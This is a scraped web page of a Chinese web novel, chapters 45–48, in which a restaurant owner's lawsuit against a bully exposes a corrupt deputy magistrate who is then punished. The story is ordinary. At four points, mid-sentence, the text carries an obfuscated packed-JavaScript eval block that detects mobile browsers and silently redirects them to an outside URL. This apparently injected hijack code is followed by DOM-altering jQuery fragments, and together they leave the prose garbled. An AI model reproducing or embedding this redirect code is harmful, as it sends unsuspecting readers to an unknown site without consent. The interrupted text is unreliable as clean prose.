d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329520|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格外郑重: “秦娘子......我活了五十多年,见的伤口没有一百也有八十,以前这么大的伤口,很难处理的,发烧化脓命都不容易保住,就算好了,也得多半残疾。顾秀才从书里看到这法子,又快又好,我可跟你说,我绝不会私藏。我那几个学徒,明日起我就把这缝合的步骤细细教他们,怎么消毒、用什么线、针脚怎么走,都让他们记牢。等下月医药行会开会,我也得把这法子说给城里其他大夫听,让大伙儿都学着。这可是能救不少人性命的好东西,藏着掖着良心不安啊!” 秦嘉言听着,脸上露出点笑意,伸手理了理衣领:“李大夫您能这么想,我就放心了。这法子虽是顾毅从古书里看到的,但他也没有藏私的想法,能拿来治病救人,那是再好不过的事了。您尽管往外传,越多人知道越好!” 这时顾毅从门外走进来,手里还提着柳氏刚从田里摘的黄瓜,他抬手摸了摸自己的额角,那里已经结痂,在等几日,等痂都掉下后,应该就看不太出来了。他走到秦嘉言身边,把黄瓜递给她,声音沉缓:“这是柳氏让我拿给你的,这两天饭馆没有营业,你还给她开工钱,她心里过不去。” 李大夫起身看了看他额头上的伤口,轻声笑了笑:“顾秀才这伤口愈合的很好,以后不用再到我这来换药了。这两天还需注意些,别沾到水就成。” 顾毅点点头,向李大夫倒了谢,转身看向秦嘉言,“饭馆不能就这么一直关着,郭宜那边,你打算怎么做?” 秦嘉言接过黄瓜,指尖触到微凉的瓜皮,眼神瞬间沉了沉:“自然不能就这么算了。他砸了咱们的饭馆,伤了你和玉生,若就这么忍了,以后他还得变本加厉。我打算明日就去衙门告状,带着自家人,再叫上金老板他们。那日好些食客们都瞧见了,都能给咱们做个证。” 李玉生立刻攥紧了拳头,眼里满是气愤:“娘,我跟你去!郭宜那厮真是太嚣张了,若是我们就这样忍下去,以后他还会来折腾我们的!” 陈玉桂也跟着点头,手里还攥着个账本,语气坚定:“娘,我们都去!这些天我已经将饭馆的损失盘算好了,不算那天他赶走的客人,就那些桌椅板凳,锅碗瓢盆我们就损失不少,尤其是娘找人订做的盒子,重新订做费功夫不说,又是一大笔银子!” 秦嘉言点点头,笑着接过了账本:“行,我们都去!决不能放过郭宜那个混蛋!” 第二日一早,天刚蒙蒙亮,秦嘉言就带着顾毅、李氏兄弟三个、三个儿媳妇和店里的伙计福贵和柳氏,还有杂货铺的金老板,和邻居许老板几人往衙门去,后面还跟着自发要去跟着她们去做证的常客,那日被郭宜一脚踹翻的商人也在其中。 衙门口的石狮子沾着些灰,台阶缝里长了几丛野草。 几人刚站定没一会儿,就有差役进去通报,没等多久,就见刘县丞慢悠悠地从里面走出来做到大堂的凳子上。秦嘉言和顾毅面面相觑,算算日子,贾胥贾大人应该回来了,这县衙里,怎么还是刘舫这个王八蛋上堂? 刘舫坐在公案后,手指敲着桌沿,眼皮都没抬,语气带着几分不耐烦:“秦嘉言,怎么又是你!你带着这么多人来衙门,是想闹事不成?是不是上次打你打轻了?” 46. 第 46 章 县衙前面呜呜泱泱围了一群人,有的踮着脚尖往衙内张望,好奇里面在审什么案子,那么多人。有的凑在人群里低声议论,互相猜测事情的来龙去脉。还有的是来为“聚鲜馆”的人打气,关键的时候还想帮忙作证。 秦嘉言往前站了一步,双手交握放在胸前,给他行了个大礼。 她看着刘舫,知道今天得事,未必会顺利的了结:“请刘大人明鉴,民妇今日来,不是来闹事的,是来告状的!请大人为民妇做主!” “大人有所不知,前几日,总兵大人的小舅子郭宜带着好几个军汉,闯进民妇的小饭馆,说是要用餐,可是他撵走了正准备用餐的客人不说,还把人踹翻在地!”她抬头看看看那个被郭宜一脚踹翻在地的商人,示意他接话。 那商人上前一步,顶着刘舫威胁的目光,缓缓说到:“大人,小人一月前就约了“聚鲜馆”的酒席。可郭宜带着人闯进小人的雅间二话不说就把小人的雅间给霸占。小人不敢和他们对峙,只能把雅间相让于他,可就算是这样。他们那一伙人在店里面打砸完,临走时还是把我踹翻在地,就连小人祖传的笔洗都被他们那一伙人摔碎了!” 说完,他解下一直系在身后背着的包裹,打开一看,里面是一个摔碎的碧玉笔洗,那玉质柔润水亮,透着碧绿的光,一看成色就特别好,实在是可惜了。 “大人明鉴!这笔洗是小的家祖传的宝贝,就被他那么一脚给踢碎了!连个声响都没有!求求大人为小人做主啊!还请大人严惩此人!”那商人重重跪下去,连连给刘舫磕三个响头,那“咚、咚、咚”的声音响亮,一看就是心里积攒了不少的怨气。 秦嘉言赶紧接过话:“大人,不只如此,他还让民妇替他到妓院寻女人。民妇家里还有三个儿媳,怎么可能顺遂了他的意!这不,我没有帮他,他就二话不说就砸了桌椅、碗碟,还把民妇的表弟,顾毅的额头用花瓶砸伤!顾毅可是秀才啊!还是咱们县今年唯一的一个秀才!这要是影响他将来中举,那可如何是好!” 刘舫耷拉着脸,没有说话,这厮也是的,打谁不好,打秀才! 他们大梁国一向重文轻武,对读书人的保护也是一等一的好。因为读书能考取功名的人太少了,就算是这县衙,也没有几个人是正经考上的,都是拿钱捐的职位。 还没等他想好说辞,秦嘉言又继续说到:“大人,不只如此,民妇的儿子李玉生上去阻拦,也被他们的人用刀砍伤了手臂,那伤口特别长,要不是李大夫妙手回春,民妇儿子的手恐怕就废了!当时在场的金老板、付老板,还有很多食客都看见了,他们都能作证。还请县丞大人为我们做主,惩治郭宜!严厉还我们一个公道!” “我没听错的话?你说的是郭宜?刘总兵的小舅子?你说错人了吧!”刘县丞终于抬了眼,眼神里满是讥讽。 “你说他砸你饭馆、伤你家人?呵呵,秦嘉言,你怕不是糊涂了!郭公子是什么人?那是城里的乡绅,平日里乐善好施,怎会平白无故做这种事?我看,是你那饭馆的吃食不干净,把郭公子吃坏了肚子,你怕他找你算账,就反咬一口,说他伤人吧?” 秦嘉言猛地睁大了眼睛,心口像是被什么东西堵了一下,又气又惊: “刘大人!您这话可不能乱说!民妇的饭馆每天都是由两个儿子去街里采购最新鲜的菜肉,碗筷也都是用沸水烫过的,怎么会吃坏肚子?我们开业这么久了,还从来没出现过这样的情况呢!况且郭宜那天离开了饭馆,就和那些军汉去了青楼,难道男人拉肚子也能逛青楼么?!” 金老板立刻往前站了站,声音洪亮:“回县丞大人,确实是这样,小的也看见郭宜后来去青楼了!那日我刚好在秦娘子家的饭馆吃饭,郭宜带着人闯进来,进来就骂骂咧咧,还把楼上雅间的人都赶出来了,我们在一楼用餐,听见他和秦娘子喊要去寻姑娘什么的。没多大一会,楼上就掀了桌子,那群人乌泱泱的从雅间里面出来,走哪砸哪!还动手打人,我看得清清楚楚有个军汉一刀砍在秦娘子儿子的胳膊上!差点都要砍断了!” 许老板也跟着点头,语气急切:“是啊!县丞大人!我当时正在隔壁卖布,都听见饭馆里的动静,跑过去看的时候,就见顾秀才额角流着血,李玉生躺在血泊里,郭宜还在喊‘砸!给我往死里砸!’那场面!哎呦呦,吓人得狠!那些人手里拿的刀可是真家伙啊......旁边的人都吓傻了,李老头他小孙子都吓得当场尿了裤子!” 谁知刘舫却根本不听,猛地一拍桌子,声音陡然拔高:“住口!你们两个不过是秦嘉言的邻居,自然帮着她说话!要我看,你们就是串通好了,想诬陷郭公子!秦嘉言,我看你根本就是有意谋害郭公子的性命!你是不是怕郭公子揭发你饭馆的吃食问题,就先下手为强,反咬一口?” 顾毅见状,立刻护在秦嘉言身前,眼神冷得像冰:“刘县丞!饭可以乱吃,话不能乱讲!我们身上的伤口是事实!我们也有证人,当天吃饭那么多人可全都看见了!还有被砸的饭馆为证,您怎能如此不分是非、颠倒黑白?” “我不分是非、颠倒黑白?”刘舫冷笑一声,从公案后站起来,走到秦嘉言面前,居高临下地看着他们两个人,“顾毅!你虽然是个秀才,见到本官不用下跪,但你是不是也太不把本官放在眼里了!小心本官先治你个污蔑之罪!” 他走回桌案前,用力的敲了一下惊堂木,把目光又对准他身后的人:“本人也和郭宜郭公子相熟已久。他前些日子还跟我说去你家饭馆吃饭,结果吃坏了肚子,他还特意交代我不要追究此事,说你们都是百姓,做点小生意不容易,让我别声张,他自己吃几日药就好了。” 刘舫用手指着秦嘉言,“你看看,这样的好人,岂能被你们这样的商贾小人随意污蔑!我猜他就是想提醒你们注意卫生,结果你们不仅不听,还想动手打他,他才不得已让人‘劝’了你们几句!怎么,现在还想倒打一耙?说人家是坏人?” 秦嘉言气得浑身发抖,手指紧紧攥着衣角,指甲都快嵌进肉里:“刘县丞!您不如把郭宜传上来,我们当堂对峙!还有那些军汉您都叫出来核实!我们饭馆的吃食有没有问题,您可以派人去查!被砸的桌椅还在店里,您也可以去看!郭宜伤人是事实,当天那么多人都看见了!不止是我们一家损失!就连到饭馆吃饭的食客都被他砸坏了东西!这么多人证物证都在!您怎能如此偏袒他?” “你说本官偏袒他?”刘县丞脸色一沉,语气狠戾,“本官只是按事实说话!秦嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350893|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言,你敢在衙门里顶撞本官,还带着人来污蔑我!分明是没把朝廷律法放在眼里!来人啊!把秦嘉言一家,还有这几个‘证人’都给我按住!先打二十大板,我让他们知道,污蔑朝廷命官的下场!” “县丞大人!万万不可啊!”一直在旁边站着的周闲连忙上前,拱手弯腰,语气急切,“大人!这......这被告人还没有被传到堂上审问,这就要打告状的人,这要是传出去了!对您官声有碍啊!况且这周围有这么多百姓看着呢!这要是真打了,得引起多少人不满啊!” 刘舫却根本不领情,一把推开他,脸色狰狞:“不满又如何?本丞断案,轮得到他们管?你没看这群刁民就是和她们是一伙的吗?这群再敢多嘴,连你一起打!” 外面围观的百姓早就炸开了锅,纷纷指着刘舫骂:“这刘县丞也太不讲理了!明明是郭宜不对,怎么还想打秦家人呢?!” “就是!秦家的人多好啊,上次我家娃儿生病,秦娘子还送了药来,怎么会谋害郭宜?”水铺街的货郎看着刘县丞如此断案气得只咬牙根 “可不是么!当天我们都看见了!明明是郭宜挑事!砸人家铺子,还伤人!哪有这么断案的!”一个当天在饭馆里用餐的胖婶,用力的喊着,试图想引起人的注意。 一旁的大叔拉住了她的衣袖,把她往后拽。“你别说了!郭宜可是刘总兵的小舅子,这刘大人也是总兵府出来的!这自古就是官官相卫!真是苦了秦娘子一家了......” 胖婶气得脑袋嗡嗡作响:“那也不能如此草芥人民吧!真是个糊涂官!县老爷什么时候回来啊!可别让这厮做公堂了!” 可刘县丞充耳不闻,只冲差役们喊:“都还愣着干什么?动手啊!还用我请你们不成!” 差役们不敢违抗,立刻冲上来,伸手就去抓秦嘉言的胳膊。顾毅见状,立刻把秦嘉言往身后护,伸手挡住差役的手,眼神里满是怒火:“你们谁敢?哪有如此不讲道理是非的!我们是苦主!连被告都不叫过来,就要定我们的罪?!” 李闻生用手扶着李玉生的胳膊,想要上前去理论,却被一个身材高大的差役推得踉跄了几步,差点摔倒。刘菇吓得尖叫起来,柳氏和富贵想上前阻拦,却被其他差役按住了肩膀,动弹不得。 秦嘉言被顾毅护在身后,看着眼前的混乱,心里又气又急,恨不得上去撕咬那刘舫。 她看见刘舫的时候,就知道今天得事,不一定会像她想得那样顺利。但没想到他能连证人的话都不听,还要动手打人。 她咬着牙,声音带着几分颤抖,却依旧坚定:“刘舫!你如此颠倒黑白,偏袒恶人,就不怕遭天谴吗?” 刘舫闻言,笑得越发刻薄:“天谴?本丞是朝廷命官,轮得到你一个乡野妇人说三道四?来人给我打!重重的打!让她不知道天高地厚!” 差役的棍子已经举了起来,顾毅紧紧护着秦嘉言,眼神死死地盯着刘县丞,仿佛要喷出火来。 周围百姓的骂声更大了,周闲急得直跺脚,却又无可奈何,他上前去拦,被衙役按在了一旁,唉!这秦娘子也不说过来找他通个话,贾胥大人还没回来,他要是知道,说什么也不会让她们这样鲁莽! “住手!” 47. 第 47 章 “什么人在下面捣乱!扰乱公堂?你是不想活了么!”刘舫正要再拍惊堂木,人群后面突然传来一声怒喝:“刘舫!你这个无耻之徒!我不在你就是这么断案的?!竟敢在公堂之上颠倒黑白!你还要不要脸了!” 众人听到声音回头一看,只见一个穿着月牙白色长袍的男子从人缝里挤出来,他个子不算高,但腰板挺得笔直,连日赶路,脸上晒的微微发黑,眼神里充满了怒火,正死死盯着堂上的刘舫。 那男子撩着长袍衣服的下摆,一步两级台阶往堂上走,脚下的皂靴踩得滋滋作响。 “呀!那不是贾大人吗?他回来了?”有人低喊了一声。 “贾大人回来了!贾大人回来了!他述职可算回来了!再不回来可要出大事了!” “太好了!贾大人在,就能给我们做主了!太好了!”百姓们瞬间就沸腾起来,两边的人纷纷往后退,给他让出一条路来。 刘舫一看到贾胥回来,脸色“唰”地就青了,手里的惊堂木差点掉在地上,连忙端着自己的茶杯,勉强挤出个笑迎上前去:“贾......贾大人?您......您不是应该还在京里述职吗?怎么回来了也不提前说一声,下官......下官好出去接您啊。” 贾胥走到堂前,也不看刘舫递过来的茶,径直站在堂前,指着刘舫的鼻子骂:“接我?我若提前说,还看不着你这龌龊事!我不过去了京里三个月,你就把平安县衙搅得乌烟瘴气!还不分黑白,说打人就打人,你眼里还有没有百姓,有没有王法了!” 刘舫慌了,手在袖子里攥得紧紧的,赶紧上前一步,还想狡辩:“贾大人何出此言?下官......下官不过是按律审案,秦嘉言他们诬告忠良,还藐视官府,下官......下官只是依法处置罢了。” “你按律审案?按得哪门子律法?”贾胥冷笑一声,指着他的鼻子问到:“方才我一直躲在人群里,从头到尾看得可是清清楚楚!你一上来就指责他们,连问都不问缘由,连被告人都不叫到堂前来,就说人诬告?这叫按律?” 他抬脚就踹了刘舫的小腿,继续,骂到:“我再问你,大家都知道郭宜是刘总兵的小舅子,你收了他多少银子,就如此偏袒他?” 刘舫的脸一阵红一阵白,眼神躲躲闪闪:“贾大人,您可不能血口喷人!下官与郭公子只是寻常相识,哪有偏袒,更没有什么收银子的事?您要是不信,可查下官的库房!下官要是说谎,天打雷劈!” “查就查!你当我不敢么!”贾胥用力的敲了一下惊堂木,镇得刘舫浑身一颤,差点腿软倒在地上。 贾胥转身对着院里的百姓一抱拳,语气温和的说:“各位乡亲父老,各位兄弟姐妹,大家伙别害怕。今儿当着我的面,有谁受过刘舫的欺负,有谁知道他贪赃枉法的事,都尽管说出来!本官能为你们做主,绝不让他再祸害我们百姓,祸害我们平安镇!” 这话一落,百姓们先是静了一瞬,接着就有人往前挤。 第一个站出来的是莆田村的张老汉,他扛着锄头,黝黑的脸上充满了怒气。 他走到堂前“扑咚”地一声跪下:“贾大人!俺是莆田村的刘汤,俺要告县丞刘舫!今年春天,他说刘总兵要修别院,就让俺们加赋说,俺家一共就两亩多的地,去年天旱收成不好,实在交不起那多余的钱,他就派衙役来打俺,还抢了俺家的两袋救命的粮食!” “大人您看,俺这腿上的疤,就是当时被打的!到现在还没好利索呢!”张老汉说着,掀起裤腿,露出小腿上一道长长的褐色疤痕,看着就吓人。 周围的人看到都唏嘘不已,刘舫急得跳脚:“那是你抗税在先,衙役只是依法行事,怎么就成了抢粮?难道你欠税不用交么!在说衙役哪就打你了?你胡说!” “俺胡说?”张老汉气得发抖,“俺家老婆子被你们推了一个跟头,到现在还没起来炕呢!你们衙役拿着棍子把我撵到了村路上,那周围一圈人都看见了!要不是村里几个富户帮求的情,俺怕不是要被你们当场打死了!” “对!俺也看见了!”人群里一个年轻汉子举手,“不只是张老汉,当时村里好多家都被那些衙役给揍了,他们不只抢粮,还对俺娘子动手动脚的,俺看不过上去理论,被他们抽了十多个大嘴巴!” 刘舫还想辩解,一个抱着孩子的妇人挤了上来,她怀里的孩子吓得直哭。 那妇人抹着眼泪说:“贾大人,我也有话说!我就是这镇上的人,就在青泥洼那里面住。上个月,我在镇上卖鸡蛋,刘舫的手下拦住我,说要收‘管理费’,我不给,他们就抢了我的篮子,还把我推到在地,还好我抱住了孩子,要不孩子就被摔坏了!” “大人您看看,我这胳膊上的淤青还没消呢!”她撸起袖子,胳膊上一块青紫色的印子格外显眼。“我那一篮子的鸡蛋全被他们抢去,一个铜板都没有给我!可怜我攒了一个多月呢!” “还有俺!还有俺!”又一个中年汉子推着人群挤进来,他穿着短打,手上全是老茧,看着贾胥认真的说:“刘舫让俺去给他修房子,说好了一天给五十文工钱,结果俺干了一个月,他一分钱都不给,还说俺要是敢要,就抓俺爹去坐牢!俺爹年纪大了,俺不敢跟他硬来,只能认了!” “对对对!”他旁边一个穿着棕色绸缎的商人从旁边连忙接话:“他建房子那些木料、沙子、什么的都是从我店里拿的,说是先记上,房子修好了我去管他要,他直接让人给我轰出来了......” 百姓们越说越激动,你一言我一语,把刘舫的恶行全抖了出来。有的说刘舫占了自家的地,有的说刘舫收了钱才给人办户籍,还有的说刘舫包庇地痞,让地痞抢了自家的东西……院里的声音越来越大,连房梁上的麻雀都被惊得飞了起来。 刘舫站在堂上,脸色惨白,嘴唇哆嗦着,说不出一句完整的话:“你、你们……你们这些刁民!都是胡说!贾大人,他们是串通好的,想谋害下官!” “他们平白无故谋害你干什么?若想人不知,除非己莫为!周闲,你说!”贾胥回头,指向站在一旁的周闲。 周闲穿着青色官服,手里拿着一个账本,一直没说话,此刻听到贾胥叫他,便上前一步,躬身行礼:“大人明鉴,您交代我的事,已经彻查清除了,刘县丞再你不在的这段时间做下的恶事,下官也已经一一记录。” 贾胥点点头:“周主簿,你来跟大伙说说。” 原来贾胥早就知道刘舫是什么样的货色,他知道此次去京里述职,很可能会挪一挪自己的位置,但他不想走后把平安县交给刘舫这样的蛀虫。 他在平安县干了将近二十年,对这边陲小镇早就有了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376335|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样的感情。果然,进京后,工部侍郎念在他之前送上的水车和水渠的功劳,在圣上面前说尽了好话,把他直接留在了京中,连升三级。 他犹豫再三,和侍郎告假,说这边还有事情没有处理好。待他准假后,趁着升职文书还没有下达地方,贾胥就马不停蹄的奔跑回来。 他在进京之前特意交代了周闲暗中收集刘舫的罪证,无论他以后还能不能留在平安县,他都会回来将这个蛀虫清理掉! 周闲直起身,看向贾胥,他知道刘舫今天肯定是逃不过了,也不急一时,还是想先把县里官田丰收的事告诉他:“回大人,刘县丞自您去京后,确有诸多不妥之处。不过,下官先禀一件喜事,今年咱们县的官田,用了李家村传过来的堆肥法子,收成比去年多了足足两倍,不止如此,那庄稼颗粒又大又饱满,煮出来还带着甜味,比往年的粮好吃多了。” 这话一出,院里的百姓瞬间安静下来,紧接着人声鼎沸起来。一个高个子汉子跳起来,是黄陂村的村长张大嗓,说话嗓门贼大,一喊全院都能听见:“两倍?真的假的?周主簿!那是啥法子啊?你赶紧说说,咱们村今年用了贾大人发的水车,地全都浇透了,收成才比去年提高了四层,两倍?不愧是官田啊,有啥好方法教教咱们吧!” “就是啊!周主簿!俺们村也是,水车今年没安装到我们村,这地干得厉害,今年收成比往年还不好!” “李家村?那不是秦娘子他们村吗?俺知道,他们村今年的庄稼大丰收!比官田还要多,那村长李长贵看见我,头抬得老高了,怪不得那么得意!” 周闲等百姓们安静了些,才继续说:“那就是李家村的有个人研究出来的法子,把粪水,垃圾什么的沤在一起,用水稀释后浇到地里,说难并不难,但产量真是强啊!”他还记得顾毅特意交代不要透露施肥是他们研究出来的方法,说的时候还是悄悄的看了他们的方向一眼。 见顾毅没有说话,他又转身站直腰身了,看向贾胥铿锵有力的说:“大人!您交代了,如果施肥成功的话,就让县里上上下下赶紧推广出去,莫要耽搁了农事,下官九月初的时候就跟刘县丞说过,让他召集个村村长,把这法子推广出去,让大伙儿都能多收粮,可刘县丞说‘农事不急’,还把下官的呈文压了下来,说‘以后再说’。” 周围的百姓一下子就炸了锅,对着刘舫指指点点,还有大胆的几个朝着他吐口水,平日里他欺负人就算了!耽搁农事那就是要了庄稼人的命! 刘舫也知道事情的严重性,连忙急得大喊:“我没说!你污蔑我!周闲,我看你就是在这颠倒黑白!你是不是想把我整倒了,你就能上位?我告诉你,你做梦!” “下官不敢污蔑刘县丞。”周闲从怀里掏出一张纸,递到贾胥面前,“大人,这是下官当时的呈文,上面有刘县丞签的‘暂缓’二字,您可以看看。” 贾胥接过呈文,展开一看,上面果然有刘舫的签字,字迹歪歪扭扭,“暂缓”两个字也写得格外潦草。贾胥气得手都抖了,把呈文扔在刘舫面前:“你还有什么话说?这么好的法子,能让百姓多收粮,你不推广,还鱼肉百姓,欺凌乡镇!你配当这个县丞吗?” 刘舫看着呈文,没了底气,声音小了下去:“我......我没有,农事……晚点推广也一样。不是早晚的事么!” 48. 第 48 章 “一样?这怎么能一样?自古以来农事就耽误不得!”周闲又开口,“大人!刘舫不仅不劝农事,还和城南的地痞无赖勾结,坑害百姓!他还养了一群打手,平日里做尽了丧尽天良之事!” 他一边说,一边翻阅手里的文书,“上个月,赵家村的赵瘸子欠了郭宜不到半年的租子,你就让刘老莽他们去抢了人家的三亩地,还把他狠狠的打了一顿。现在赵瘸子还躺在床上,下不了地。你敢说这事不是你干的?我这里还有刘莽他们的供词呢,” “这个俺能证明!俺能证明!”一个头上戴着蓝色头巾的妇人从人群费力的里挤出来,她手里拿着一块破布,眼睛哭得通红。 “贾大人,民妇是赵荒的媳妇,就是赵......瘸子......”她擦了擦眼泪,哽咽着。 “这位大人说的都是真的!他本来就有一只腿不怎么好使,被他们这一打,现在更严重了。俺家那口子现在还不能下床,每天都躺在床上疼得直叫唤!刘舫还派人来说,要是俺们敢告,就把俺们全家赶出平安镇!俺们怕啊,只能忍着,现在贾大人回来了,俺才敢说出来!求大人为我们做主!” 说完,她的头用力的磕在地上,嘴里还不停的念叨着:“求大人为我们做主!” 贾胥气得胸膛剧烈起伏,他指着刘舫骂到:“你......你这个畜生!你平日里不仅贪赃枉法,现在居然还敢勾结地痞,残害百姓?!好大的胆子!来人,把他给我拿下!” 两个衙役立刻上前一步,想要按住他的肩膀。 刘舫立刻想要跑,可是双腿早就已经吓软了,他刚迈一步就摔在地上,被衙役眼疾手快的架了起来。 他跪在地上挣扎着大喊:“滚开!不要碰我!放开我!你们有几个胆敢抓我!贾胥你这只老狗!我跟刘总兵有关系你不知道吗?你们抓了我,刘总兵是不会放过你们的!” “刘总兵?”贾胥看着他的眼睛冷笑到,“真有意思,我还不知道刘总兵跟你有什么关系?你也配跟他有关系?” 周闲连忙走过来,上前一步,在一旁说到:“大人,这刘舫原不姓刘,姓马,叫马舫。他听说刘总兵到我们平安镇驻军,就让人帮着改了户藉,连他父亲马大河也改成了刘大河,他这人,就是想攀附刘总兵,好能升官。” “啥?连爹的姓都改了?这也太荒谬了吧!” “怪不得他这么帮郭宜,呦呦呦,原来是想当刘总兵的干儿子啊!” “他可真是不要脸!连祖宗都不认了!” “他爹也真是不要脸,一路货色!” “那个叫什么,上梁不正下梁歪......不是一家人不进一家门啊!” “怪不得,我就说他爹平时说话老是半睁眼睛,合着是心虚抬不起头呗?” “装,可真是能装!”衙门口的百姓们听了,觉得又好气又好笑,议论纷纷,眼睛时不时得盯着刘舫,手里还指指点点。 刘舫被衙役们架着跪在地上,脸涨红得像个猪肝,嘴里还骂骂咧咧:“我改什么姓跟你们有什么关系!我乐意!能攀上刘总兵,那是我的本事!你们这些个刁民想攀还攀不上呢!你们就是嫉妒!” “还本事?”贾胥气得拍了一下惊堂木,“你这叫本事?你这叫忘祖!你这样的人,连猪狗都不如!嫉妒你这样的人?你可别在这恶心我们了!你不要脸我们还要脸呢!” 贾胥让人把刘舫押到堂下,自己则坐在堂前椅子上亲自审问他。 刚开始刘舫还想继续抵赖,口口声声说他污蔑朝廷命官、妒忌下属、公报私仇。 可当衙役从他的住处搜出郭宜给的银子,还有一张写着“秦家事办妥,赏五十两,教训一下”的纸条时,刘舫终于撑不住了,把所有事都招了。 原来,刘舫家里就是当地的富户,拿钱捐的官,实际没会几个大字。为了攀附刘总兵,想让刘总兵提拔他,把自己的姓氏都给改了,还逢人就说自己是刘总兵的干儿子。 他知道郭宜是刘总兵的小舅子,就特意与他结交,两人狼狈为奸一起养了一群打手,平日里做尽了坑害百姓的坏事。可自从贾胥当上平安县县令之后,他就收敛了许多,虽然不敢明面上打压,但暗地里也做了不少小动作。 这次,他以为贾胥回京述职后,一定会升官。按照以往的惯例,贾胥升官后会直接留到京里,或者直接到上任地,不会在回来。 这次,郭宜事先就打点好刘舫,让他把秦嘉言一家都关进大牢,好好教训一翻。这事他平时干的比较熟络,也没特意去私下审问什么的,就想着和平时一样,乱安个什么罪名,就把这件事了结了。却没想到,贾胥就这么快回来了...... “你这人品性实在太低劣了,你连自己的亲爹都能改姓,呵,你们这一家真是......啧啧。”贾胥越听越气,一拍惊堂木。 “刘舫,你身为县丞,不思为民做主,反而贪赃枉法,勾结地痞,残害百姓,还忘祖改姓,罪大恶极!本官现在宣判:革去刘舫县丞之职,重打五十大板,押入大牢,以儆效尤!他手下那些打手,都抓回来,审清楚后,在逐一发落!” “不要!不要打我!贾大人,我知道错了,我再也不敢了!您饶了我吧!大人!”刘舫顿时吓得魂都没了,哭喊着求饶,可衙役根本不理他,直接把他拖到院子里,按在长凳上,举起板子就打。 “啪!啪!啪!”板子落在肉上的声音听得人牙酸,刘舫的惨叫得比杀猪声还难听。 衙门外面的百姓们围在旁边,不仅不同情,还拍手叫好。 一个胡子发白的老大爷捋着胡子,直点头说:“打得好!打得好!早就应该治治他了!用点劲,使劲打!” 抱着孩子的妇人也跟着喊:“打得好!让他再欺负俺们!俺那一篮子鸡蛋就当是喂狗了!”说完还带头在刘舫的头上丢了一个烂菜叶。 五十大板打完,刘舫已经疼得晕了过去,像一摊烂泥似的被衙役拖进了大牢。百姓们还在一一叫好,院里的气氛一下子轻松了不少,连日头好像都没那么晒了。 贾胥走到秦嘉言一家面前,亲手把顾毅扶起来,又扶起秦嘉言,温和地说:“秦娘子,让你们受苦了。你们家的事,我刚走到城外就听说了,只是我紧赶慢赶,还是错过了时间,还好你们没有被他打到,要不我可是万死难辞了。” 顾毅向他抱拳作揖,感谢的看向他:“贾大人您多虑了,我们还得感谢您是为青天!不然我们可落在那姓刘的手里,还不一定什么样呢!你回来就好了,不只是我们,全县的百姓都彻底放心了。” 贾胥挠了挠鼻子有些不好意思,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16393790|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压低了声音,“顾先生,先借一步说句话。” 他把顾毅拽到一边,“你先别告诉大伙,我其实在这里待不了太久了......” 他笑着看着顾毅,“这次述职很成功,工部的大人帮我说话,调任我到工部去任职了。我这也是趁着文书还没下到地方,赶紧回来想把这些恶患毒瘤都解决一下。” 顾毅听到这眼睛一亮,连忙拱手:“恭喜您了,贾大人!您这是平步青云啊,往后到了京城,定能有更大作为。百姓们可有福了!” 贾胥哈哈笑起来,用力的拍了拍顾毅的肩膀,“那还是多亏你那水车和水渠的功劳呢!说起来,我还得感谢你!说真的,若不是知道你一心要考科举,将来定有大出息,我早想荐你做县丞了。你办事妥帖,也是心系百姓的人。” 顾毅连忙欠身:“大人抬举了,我还得向大人您学习,您才是心系百姓的好官,我还差得远了。” “你也别谦虚了。”贾胥收了笑,语气认真起来,“我到了京城,会在工部等着你的捷报。往后你要是去京城科考,或是遇到什么难处,直接去工部找我,报我的名字就行,只要我能帮上忙,绝不含糊。” 两人正说着,一道清亮的女声突然插进来:“贾大人!” 秦嘉言走过来打断了他们的谈话,“大人刚说要为百姓除害,那郭宜打砸我家‘聚鲜馆’,还伤了顾毅和我儿子李玉生,这事您打算怎么处理?”秦嘉言语速不快,却字字清晰,目光直直看向贾胥,没有半分怯意。 贾胥见她这模样,连忙摆手:“秦娘子你先别着急,稍安勿躁。”他往衙门外瞥了一眼,看见周围的百姓,三三两两的散去,声音又低沉了一些。 